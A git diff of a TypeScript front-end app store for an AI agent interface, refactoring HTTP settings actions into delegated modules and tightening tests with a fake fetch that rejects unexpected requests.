- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set reasoning effort failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as ReasoningEffortResponse;
- const next = data.reasoningEffort ?? level;
- if (workspaceConversationId() === id) reasoningEffort = next;
- return { ok: true, reasoningEffort: next };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set reasoning effort request failed",
- };
- }
- },
+ computerStatus: httpActions.computerStatus,
- stopGeneration(): void {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return;
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/stop`, {
- method: "POST",
- }).catch((err) => {
- reportError("Failed to stop generation", err);
- });
- },
+ testComputer: httpActions.testComputer,
- async compactNow(keepLastN?: number): Promise<CompactResult | null> {
- const conversationId = tabsStore.activeConversationId;
- if (conversationId === null) return null;
- const body: Record<string, unknown> = {};
- if (keepLastN !== undefined) body.keepLastN = keepLastN;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(conversationId)}/compact`,
- {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Compact failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as CompactResponse;
- return { ok: true, response: data };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Compact request failed",
- };
- }
- },
+ setReasoningEffort: settings.setReasoningEffort,
- async setCompactPercent(percent: number): Promise<CompactPercentResult | null> {
- const id = workspaceConversationId();
- const body: SetCompactPercentRequest = { threshold: percent };
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set compact percent failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as CompactPercentResponse;
- if (workspaceConversationId() === id) compactPercent = data.threshold;
- return { ok: true, percent: data.threshold };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set compact percent request failed",
- };
- }
- },
+ setThinking: settings.setThinking,
- async setVisionSettings(patch: VisionSettingsPatch): Promise<VisionSettingsResult | null> {
- const body: SetVisionSettingsRequest = patch;
- try {
- const res = await fetchImpl(`${httpBase}/settings/vision`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set vision settings failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeVisionSettings(await res.json());
- visionSettings = data;
- return { ok: true, settings: data };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set vision settings request failed",
- };
- }
- },
+ stopGeneration: httpActions.stopGeneration,
- async setChatLimit(limit: number): Promise<ChatLimitResult> {
- const next = normalizeChatLimit(limit);
- chatLimitStore.save(next);
- chatLimit = next;
- // Propagate to every live chat store. The ACTIVE one is awaited so its
- // refill (on a raise) lands before the caller returns — letting the
- // shell preserve scroll over the prepended older chunks. Background
- // stores refill fire-and-forget. Future stores pick the new limit up at
- // creation (via the persisted store).
- const active = getActiveChat();
- await active.setChatLimit(next);
- for (const s of chatStores.values()) {
- if (s !== active) void s.setChatLimit(next);
- }
- if (draftStore !== active) void draftStore.setChatLimit(next);
- return { ok: true, chatLimit: next };
- },
+ compactNow: httpActions.compactNow,
- async lspStatus(): Promise<LspResult | null> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/lsp`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `LSP status failed (HTTP ${res.status})` };
- }
- // Normalize the untyped body at this network seam so a malformed/partial
- // response can never crash the renderer (servers is guaranteed an array).
- const data = (await res.json()) as Partial<LspStatusResponse>;
- const response: LspStatusResponse = {
- conversationId: data.conversationId ?? id,
- cwd: data.cwd ?? null,
- servers: Array.isArray(data.servers) ? data.servers : [],
- };
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "LSP status request failed",
- };
- }
- },
+ setCompactPercent: settings.setCompactPercent,
- async mcpStatus(): Promise<McpResult | null> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/mcp`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return { ok: false, error: errBody?.error ?? `MCP status failed (HTTP ${res.status})` };
- }
- // Normalize the untyped body at this network seam so a malformed/partial
- // response can never crash the renderer (servers is guaranteed an array).
- const data = (await res.json()) as Partial<McpStatusResponse>;
- const response: McpStatusResponse = {
- conversationId: data.conversationId ?? id,
- cwd: data.cwd ?? null,
- servers: Array.isArray(data.servers) ? data.servers : [],
- };
- return { ok: true, response };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "MCP status request failed",
- };
- }
- },
+ setVisionSettings: settings.setVisionSettings,
- async heartbeatConfig(): Promise<HeartbeatConfigResult> {
- // Workspace-scoped (NOT per-conversation): use the active workspace id.
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat config failed (HTTP ${res.status})`,
- };
- }
- // Normalize the untyped JSON at the network seam (pure helper) so a
- // malformed/partial response can never crash the renderer.
- const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat config request failed",
- };
- }
- },
+ setChatLimit: registry.setChatLimit,
- async setHeartbeatConfig(patch: HeartbeatConfigPatch): Promise<HeartbeatConfigResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(patch),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set heartbeat config failed (HTTP ${res.status})`,
- };
- }
- const config: HeartbeatConfig = normalizeHeartbeatConfig(await res.json());
- return { ok: true, config };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set heartbeat config request failed",
- };
- }
- },
+ lspStatus: settings.lspStatus,
- async heartbeatRuns(): Promise<HeartbeatRunsResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat runs failed (HTTP ${res.status})`,
- };
- }
- const runs: readonly HeartbeatRun[] = normalizeHeartbeatRuns(await res.json());
- return { ok: true, runs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat runs request failed",
- };
- }
- },
+ mcpStatus: settings.mcpStatus,
- async stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/runs/${encodeURIComponent(runId)}/stop`,
- { method: "POST" },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Stop heartbeat run failed (HTTP ${res.status})`,
- };
- }
- return { ok: true };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Stop heartbeat run request failed",
- };
- }
- },
+ heartbeatConfig: httpActions.heartbeatConfig,
- async heartbeatNextRun(): Promise<HeartbeatNextRunResult> {
- const wsId = untrack(() => activeWorkspaceId);
- try {
- const res = await fetchImpl(
- `${httpBase}/workspaces/${encodeURIComponent(wsId)}/heartbeat/next-run`,
- );
- if (!res.ok) {
- // 404 = the backend hasn't shipped CR-HB-3 yet → the FE falls back to
- // an approximation. Surface as ok:false (non-fatal).
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Heartbeat next-run failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json().catch(() => null)) as { nextRunAt?: string | null } | null;
- // `null` (disabled / no run scheduled) passes through; anything non-string
- // also becomes null so a malformed body can't crash the countdown.
- const raw = data?.nextRunAt;
- const nextRunAt = typeof raw === "string" ? raw : null;
- return { ok: true, nextRunAt };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Heartbeat next-run request failed",
- };
- }
- },
+ setHeartbeatConfig: httpActions.setHeartbeatConfig,
+
+ heartbeatRuns: httpActions.heartbeatRuns,
+
+ stopHeartbeatRun: httpActions.stopHeartbeatRun,
+
+ heartbeatNextRun: httpActions.heartbeatNextRun,
watchConversation(conversationId: string): ChatStore {
- return watchConversation(conversationId);
+ return registry.watchConversation(conversationId);
},
unwatchConversation(conversationId: string): void {
- unwatchConversation(conversationId);
+ registry.unwatchConversation(conversationId);
},
// ── Concurrency (per-provider limits + live status; GLOBAL, not workspace-scoped)
- async concurrencyLimits(): Promise<ConcurrencyLimitsResult> {
- try {
- const res = await fetchImpl(`${httpBase}/concurrency/limits`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency limits failed (HTTP ${res.status})`,
- };
- }
- // Normalize the untyped JSON at the network seam (pure helper) so a
- // malformed/partial response (e.g. the extension returning `{}`) can
- // never crash the renderer.
- const limits = normalizeConcurrencyLimits(await res.json());
- return { ok: true, limits };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency limits request failed",
- };
- }
- },
+ concurrencyLimits: httpActions.concurrencyLimits,
- async getConcurrencyLimit(providerId: string): Promise<ConcurrencyLimitResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency limit failed (HTTP ${res.status})`,
- };
- }
- const limit = normalizeConcurrencyLimit(await res.json());
- if (limit === null) {
- return { ok: false, error: "Malformed concurrency limit response" };
- }
- return { ok: true, providerId: limit.providerId, limit: limit.limit };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency limit request failed",
- };
- }
- },
+ getConcurrencyLimit: httpActions.getConcurrencyLimit,
- async setConcurrencyLimit(providerId: string, limit: number): Promise<ConcurrencyLimitResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ limit }),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set concurrency limit failed (HTTP ${res.status})`,
- };
- }
- const echoed = normalizeConcurrencyLimit(await res.json());
- if (echoed === null) {
- return { ok: false, error: "Malformed concurrency limit response" };
- }
- return { ok: true, providerId: echoed.providerId, limit: echoed.limit };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set concurrency limit request failed",
- };
- }
- },
+ setConcurrencyLimit: httpActions.setConcurrencyLimit,
- async deleteConcurrencyLimit(providerId: string): Promise<ConcurrencyDeleteResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/limits/${encodeURIComponent(providerId)}`,
- { method: "DELETE" },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Delete concurrency limit failed (HTTP ${res.status})`,
- };
- }
- return { ok: true, providerId };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Delete concurrency limit request failed",
- };
- }
- },
+ deleteConcurrencyLimit: httpActions.deleteConcurrencyLimit,
- async concurrencyStatus(): Promise<ConcurrencyStatusResult> {
- try {
- const res = await fetchImpl(`${httpBase}/concurrency/status`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Concurrency status failed (HTTP ${res.status})`,
- };
- }
- const providers = normalizeConcurrencyStatus(await res.json());
- return { ok: true, providers };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Concurrency status request failed",
- };
- }
- },
+ accountUsage: httpActions.accountUsage,
- async getConcurrencyCooldown(providerId: string): Promise<ConcurrencyCooldownResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Get concurrency cooldown failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeConcurrencyCooldown(await res.json());
- if (data === null) {
- return { ok: false, error: "Malformed concurrency cooldown response" };
- }
- return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Get concurrency cooldown request failed",
- };
- }
- },
+ setAccountUsageSettings: httpActions.setAccountUsageSettings,
- async setConcurrencyCooldown(
- providerId: string,
- cooldownMs: number,
- ): Promise<ConcurrencyCooldownResult> {
- try {
- const res = await fetchImpl(
- `${httpBase}/concurrency/cooldown/${encodeURIComponent(providerId)}`,
- {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ cooldownMs }),
- },
- );
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set concurrency cooldown failed (HTTP ${res.status})`,
- };
- }
- const data = normalizeConcurrencyCooldown(await res.json());
- if (data === null) {
- return { ok: false, error: "Malformed concurrency cooldown response" };
- }
- return { ok: true, providerId: data.providerId, cooldownMs: data.cooldownMs };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set concurrency cooldown request failed",
- };
- }
- },
+ concurrencyStatus: httpActions.concurrencyStatus,
- async loadSystemPrompt(): Promise<SystemPromptLoadResult> {
- try {
- const res = await fetchImpl(`${httpBase}/system-prompt`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Load system prompt failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as SystemPromptTemplateResponse;
- return { ok: true, template: data.template ?? "" };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Load system prompt request failed",
- };
- }
- },
+ searchBackendConfig: httpActions.searchBackendConfig,
- async setSystemPrompt(template: string): Promise<SystemPromptSaveResult> {
- try {
- const body: SetSystemPromptTemplateRequest = { template };
- const res = await fetchImpl(`${httpBase}/system-prompt`, {
- method: "PUT",
- headers: { "content-type": "application/json" },
- body: JSON.stringify(body),
- });
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Set system prompt failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as SystemPromptTemplateResponse;
- return { ok: true, template: data.template };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Set system prompt request failed",
- };
- }
- },
+ setSearchBackend: httpActions.setSearchBackend,
- async loadSystemPromptVariables(): Promise<SystemPromptVariablesResult> {
- try {
- const res = await fetchImpl(`${httpBase}/system-prompt/variables`);
- if (!res.ok) {
- const errBody = (await res.json().catch(() => null)) as { error?: string } | null;
- return {
- ok: false,
- error: errBody?.error ?? `Load system prompt variables failed (HTTP ${res.status})`,
- };
- }
- const data = (await res.json()) as Partial<SystemPromptVariablesResponse>;
- return { ok: true, variables: Array.isArray(data.variables) ? data.variables : [] };
- } catch (err) {
- return {
- ok: false,
- error: err instanceof Error ? err.message : "Load system prompt variables request failed",
- };
- }
+ getConcurrencyCooldown: httpActions.getConcurrencyCooldown,
+
+ setConcurrencyCooldown: httpActions.setConcurrencyCooldown,
+
+ loadSystemPrompt: httpActions.loadSystemPrompt,
+
+ setSystemPrompt: httpActions.setSystemPrompt,
+
+ loadSystemPromptVariables: httpActions.loadSystemPromptVariables,
+
+ attachUnloadGate: registry.attachUnloadGate,
+
+ // ── Named Agents (global config; plan §9) ────────────────────────────────
+
+ get namedAgents(): readonly NamedAgent[] {
+ return refreshers.namedAgents;
+ },
+ get namedAgentSnapshot(): NamedAgentSelectionSnapshot | null {
+ return namedAgentSnapshot;
},
- attachUnloadGate(gate: () => boolean): void {
- unloadGate = gate;
+ // ── Plugins (plan 07) ────────────────────────────────────────────────────
+ get plugins(): PluginsStore {
+ return pluginsStore;
+ },
+ get layout(): LayoutStore {
+ return layoutStore;
},
+ get tileLayout(): TileLayoutStore {
+ return tileLayoutStore;
+ },
+ get enabledProviderCount(): number | null {
+ return refreshers.enabledProviderCount;
+ },
+
+ refreshNamedAgents: refreshers.refreshNamedAgents,
+
+ createNamedAgent: refreshers.createNamedAgent,
+
+ updateNamedAgent: refreshers.updateNamedAgent,
+
+ deleteNamedAgent: refreshers.deleteNamedAgent,
get fatalError(): string | null {
return fatalError;
@@ -2144,15 +774,7 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
},
dispose(): void {
- for (const store of chatStores.values()) {
- store.dispose();
- }
- chatStores.clear();
- for (const store of watchStores.values()) {
- store.dispose();
- }
- watchStores.clear();
- draftStore.dispose();
+ registry.dispose();
socket?.close();
socket = null;
},
diff --git a/src/app/store.test.ts b/src/app/store.test.ts
index a945ea7..90c11b3 100644
--- a/src/app/store.test.ts
+++ b/src/app/store.test.ts
@@ -1,9 +1,29 @@
import type { ConversationHistoryResponse, WsServerMessage } from "@dispatch/transport-contract";
import type { SurfaceServerMessage } from "@dispatch/ui-contract";
-import { describe, expect, it, vi } from "vitest";
+import type { NamedAgent } from "@dispatch/wire";
+import { IDBFactory } from "fake-indexeddb";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import type { WebSocketLike } from "../adapters/ws";
import { createAppStore } from "./store.svelte";
+// Never let an omitted injection reach a real backend. Track rejected requests
+// too: the app deliberately catches network errors, which must not hide a bad fake.
+const unexpectedFetch = vi.fn<typeof fetch>(async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ const method = init?.method ?? (input instanceof Request ? input.method : "GET");
+ throw new Error(`Unexpected fetch: ${method} ${url}`);
+});
+
+beforeEach(() => {
+ unexpectedFetch.mockClear();
+ vi.stubGlobal("fetch", unexpectedFetch);
+});
+
+afterEach(() => {
+ vi.unstubAllGlobals();
+ expect(unexpectedFetch).not.toHaveBeenCalled();
+});
+
interface FakeSocket extends WebSocketLike {
sent: string[];
resolveOpen(): void;
@@ -104,17 +124,124 @@ interface FakeFetchOptions {
models?: readonly string[];
history?: Record<string, ConversationHistoryResponse>;
model?: string | null;
+ /** Persisted Named Agents (GET /named-agents + CRUD in-memory). */
+ namedAgents?: readonly NamedAgent[];
}
function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
- const models = opts?.models ?? ["opencode/deepseek-v4-flash", "openai/gpt-4o"];
+ const models = opts?.models ?? ["opencode-1/deepseek-v4-flash", "openai/gpt-4o"];
const history = opts?.history ?? {};
- return async (input: string | URL | Request): Promise<Response> => {
+ // In-memory Named Agent store for the CRUD routes (the fake fetch mimics the
+ // backend's /named-agents surface).
+ let namedAgents: NamedAgent[] = opts?.namedAgents ? [...opts.namedAgents] : [];
+ return async (input: string | URL | Request, init?: RequestInit): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
- if (url.endsWith("/models")) {
- return new Response(JSON.stringify({ models }), { status: 200 });
+ const method =
+ init?.method ?? (typeof input !== "string" && !(input instanceof URL) ? input.method : "GET");
+ const bodyText =
+ typeof init?.body === "string"
+ ? init.body
+ : typeof input !== "string" &&
+ !(input instanceof URL) &&
+ typeof input.body !== "undefined" &&
+ "body" in input
+ ? await input.clone().text()
+ : null;
+ const { pathname, searchParams } = new URL(url);
+ if (pathname === "/models" && method === "GET") {
+ return Response.json({ models });
+ }
+ if (method === "GET") {
+ if (pathname === "/conversations" && searchParams.get("status") === "active,idle") {
+ // Most tests drive tabs via WS/local actions. Disable boot reconciliation
+ // so an in-flight empty list cannot remove a tab created by the test.
+ // Discovery tests override this route with their authoritative lists.
+ return Response.json({ error: "Discovery unavailable in this fixture" }, { status: 503 });
+ }
+ if (pathname === "/plugins") return Response.json({ plugins: [] });
+ if (pathname === "/computers") return Response.json({ computers: [] });
+ if (/^\/workspaces\/[^/]+\/plugins$/.test(pathname)) {
+ return Response.json({ workspaceId: pathname.split("/")[2], plugins: [] });
+ }
+ if (/^\/workspaces\/[^/]+\/plugins\/providers-status$/.test(pathname)) {
+ return Response.json({ enabledProviderCount: 1 });
+ }
+ // Explicitly simulate absent layout providers; retain local cached layouts.
+ if (
+ /^\/workspaces\/[^/]+\/layout$/.test(pathname) ||
+ /^\/home\/tile-layout\/(wide|tall)$/.test(pathname)
+ ) {
+ return Response.json({ error: "No layout provider" }, { status: 404 });
+ }
+ if (pathname === "/settings/vision") {
+ return Response.json({ imageLimit: 10, compactionModel: null });
+ }
+ const setting =
+ /^\/conversations\/[^/]+\/(cwd|computer|reasoning-effort|thinking|compact-percent)$/.exec(
+ pathname,
+ )?.[1];
+ if (setting !== undefined) {
+ const key = {
+ cwd: "cwd",
+ computer: "computerId",
+ "reasoning-effort": "reasoningEffort",
+ thinking: "thinking",
+ "compact-percent": "compactPercent",
+ }[setting];
+ if (key !== undefined) return Response.json({ [key]: null });
+ }
+ if (/^\/conversations\/[^/]+\/metrics$/.test(pathname)) {
+ return Response.json({ turns: [] });
+ }
+ if (/^\/conversations\/[^/]+$/.test(pathname) && searchParams.has("sinceSeq")) {
+ return Response.json(
+ history[url] ??
+ ({ chunks: [], historyEpoch: 0, latestSeq: 0 } satisfies ConversationHistoryResponse),
+ );
+ }
+ }
+ if (/^\/conversations\/[^/]+\/close$/.test(pathname) && method === "POST") {
+ return Response.json({ conversationId: pathname.split("/")[2], abortedTurn: false });
+ }
+ if (pathname === "/named-agents" && method === "GET") {
+ return new Response(JSON.stringify({ namedAgents }), { status: 200 });
+ }
+ if (pathname === "/named-agents" && method === "POST") {
+ const payload =
+ bodyText === null
+ ? null
+ : (JSON.parse(bodyText) as { name?: string; model?: string } | null);
+ const agent: NamedAgent = {
+ id: `na-${namedAgents.length + 1}`,
+ name: payload?.name ?? "",
+ model: payload?.model ?? "",
+ };
+ namedAgents = [...namedAgents, agent];
+ return new Response(JSON.stringify({ namedAgent: agent }), { status: 201 });
}
- if (url.endsWith("/model")) {
+ if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "PUT") {
+ const id = url.split("/named-agents/")[1] ?? "";
+ const payload =
+ bodyText === null
+ ? null
+ : (JSON.parse(bodyText) as { name?: string; model?: string } | null);
+ const updated: NamedAgent = {
+ id,
+ name: payload?.name ?? "",
+ model: payload?.model ?? "",
+ };
+ namedAgents = namedAgents.map((a) => (a.id === id ? updated : a));
+ return new Response(JSON.stringify({ namedAgent: updated }), { status: 200 });
+ }
+ if (/^\/named-agents\/[^/]+$/.test(pathname) && method === "DELETE") {
+ const id = url.split("/named-agents/")[1] ?? "";
+ namedAgents = namedAgents.filter((a) => a.id !== id);
+ return new Response(JSON.stringify({ id }), { status: 200 });
+ }
+ if (
+ /^\/conversations\/[^/]+\/model$/.test(pathname) &&
+ (method === "GET" || method === "PUT")
+ ) {
return new Response(
JSON.stringify({
conversationId: "ignored",
@@ -123,9 +250,7 @@ function fakeFetchImpl(opts?: FakeFetchOptions): typeof fetch {
{ status: 200 },
);
}
- const body =
- history[url] ?? ({ chunks: [], latestSeq: 0 } satisfies ConversationHistoryResponse);
- return new Response(JSON.stringify(body), { status: 200 });
+ return unexpectedFetch(input, init);
};
}
@@ -145,8 +270,8 @@ function createFakeStorage(): Storage {
getItem(key: string): string | null {
return map.get(key) ?? null;
},
- key(_index: number): string | null {
- return null;
+ key(index: number): string | null {
+ return [...map.keys()][index] ?? null;
},
removeItem(key: string) {
map.delete(key);
@@ -163,6 +288,22 @@ function activeConversationId(store: ReturnType<typeof createAppStore>): string
return id as string;
}
+describe("fakeFetchImpl", () => {
+ it.each([
+ "http://localhost:24203/unexpected",
+ new URL("http://localhost:24203/conversations/c/unknown-setting"),
+ new Request("http://localhost:24203/models", { method: "DELETE" }),
+ ])("rejects an unexpected URL or method: %s", async (input) => {
+ try {
+ await expect(fakeFetchImpl()(input)).rejects.toThrow("Unexpected fetch:");
+ expect(unexpectedFetch).toHaveBeenCalledOnce();
+ } finally {
+ // This test deliberately exercises the guard; all store tests require zero calls.
+ unexpectedFetch.mockClear();
+ }
+ });
+});
+
describe("createAppStore", () => {
it("starts with empty catalog and no surfaces", () => {
const ws = fakeSocket();
@@ -181,6 +322,29 @@ describe("createAppStore", () => {
store.dispose();
});
+ it("probes only the portrait tile layout at boot and injects its cached document", () => {
+ const width = vi.spyOn(window, "innerWidth", "get").mockReturnValue(390);
+ const height = vi.spyOn(window, "innerHeight", "get").mockReturnValue(844);
+ const storage = createFakeStorage();
+ const cached = { version: 2, tiles: [{ id: "a", order: 0, colSpan: 2, rowSpan: 2 }] };
+ storage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+ const fetchImpl = vi.fn(fakeFetchImpl());
+ const store = createAppStore({ socketFactory: fakeSocket, fetchImpl, localStorage: storage });
+ try {
+ expect(store.tileLayout.mode).toBe("tall");
+ expect(store.tileLayout.entries).toEqual(cached.tiles);
+ expect(
+ fetchImpl.mock.calls
+ .map(([url]) => String(url))
+ .filter((url) => url.includes("/home/tile-layout/")),
+ ).toEqual([expect.stringMatching(/\/home\/tile-layout\/tall$/)]);
+ } finally {
+ store.dispose();
+ width.mockRestore();
+ height.mockRestore();
+ }
+ });
+
it("updates catalog when catalog message arrives", () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -457,6 +621,7 @@ describe("createAppStore", () => {
socketFactory: () => ws,
fetchImpl: fakeFetchImpl(),
localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
});
ws.resolveOpen();
@@ -518,17 +683,25 @@ describe("createAppStore", () => {
{ seq: 1, role: "user", chunk: { type: "text", text: "hi" } },
{ seq: 2, role: "assistant", chunk: { type: "text", text: "hello!" } },
],
+ historyEpoch: 0,
latestSeq: 2,
};
- const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
fetchedUrls.push(url);
- if (url.endsWith("/models")) {
- return new Response(JSON.stringify({ models: ["opencode/deepseek-v4-flash"] }), {
+ if (/\/models(\?.*)?$/.test(url)) {
+ return new Response(JSON.stringify({ models: ["opencode-1/deepseek-v4-flash"] }), {
status: 200,
});
}
- return new Response(JSON.stringify(historyResponse), { status: 200 });
+ if (/\/conversations\/[^/?]+\?sinceSeq=/.test(url)) {
+ return Response.json(historyResponse);
+ }
+ return base(input, init);
};
const ws = fakeSocket();
@@ -573,19 +746,19 @@ describe("createAppStore", () => {
const store = createAppStore({
socketFactory: () => ws,
fetchImpl: fakeFetchImpl({
- models: ["opencode/deepseek-v4-flash", "openai/gpt-4o", "anthropic/claude-3"],
+ models: ["opencode-1/deepseek-v4-flash", "openai/gpt-4o", "anthropic/claude-3"],
}),
localStorage: createFakeStorage(),
});
ws.resolveOpen();
- await new Promise((r) => setTimeout(r, 50));
-
- expect(store.models).toEqual([
- "opencode/deepseek-v4-flash",
- "openai/gpt-4o",
- "anthropic/claude-3",
- ]);
+ await vi.waitFor(() => {
+ expect(store.models).toEqual([
+ "opencode-1/deepseek-v4-flash",
+ "openai/gpt-4o",
+ "anthropic/claude-3",
+ ]);
+ });
store.dispose();
});
@@ -599,11 +772,68 @@ describe("createAppStore", () => {
});
ws.resolveOpen();
- expect(store.activeModel).toBe("opencode/deepseek-v4-flash");
+ expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
store.dispose();
});
+ it("does not silently switch the active model when the selected one is absent from the catalog", async () => {
+ // The catalog only has umans; the active (default/selected) OpenCode model is
+ // NOT available. The FE must NOT auto-fall back to the first catalog model —
+ // it keeps the selection and lets the model selector surface it as unavailable.
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl({ models: ["umans/umans-glm-5.2"] }),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+ await vi.waitFor(() => expect(store.models).toEqual(["umans/umans-glm-5.2"]));
+ expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
+
+ store.dispose();
+ });
+
